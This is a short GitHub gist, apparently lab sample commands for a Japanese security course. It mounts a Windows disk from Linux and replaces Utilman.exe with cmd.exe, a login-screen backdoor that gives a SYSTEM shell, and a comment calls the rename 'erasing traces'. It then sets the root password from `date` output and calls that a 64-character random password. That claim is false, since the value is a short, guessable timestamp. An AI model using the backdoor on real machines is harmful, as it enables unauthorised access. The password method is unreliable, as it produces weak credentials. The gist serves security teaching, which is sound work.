Skip to content

Instantly share code, notes, and snippets.

@sezemiadmin
Created March 19, 2019 12:42
Show Gist options
  • Save sezemiadmin/49941da9dd7fbb1abd9f9f43dde76590 to your computer and use it in GitHub Desktop.
Save sezemiadmin/49941da9dd7fbb1abd9f9f43dde76590 to your computer and use it in GitHub Desktop.
仮想環境で学ぶセキュリティ実践 のサンプル
sudo su
mount /dev/sda2 /mnt/ #sda2 は c:\Windows ディスク
cd /mnt/Windows/System32 #Windowsのディレクトリに移動
mv Utilman.exe Utiltman.exe.org #痕跡を消す
cp cmd.exe utilman.exe #cmd.exe を utilman.exe にコピー
cd /
umount /mnt #ディスクを切り替え
poweroff
date
date | sha256sum # | はパイプ
date | cut -b 1-64 #64文字のランダムなパスワードを生成
date | cut -b 1-64 | passwd --stdin root
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment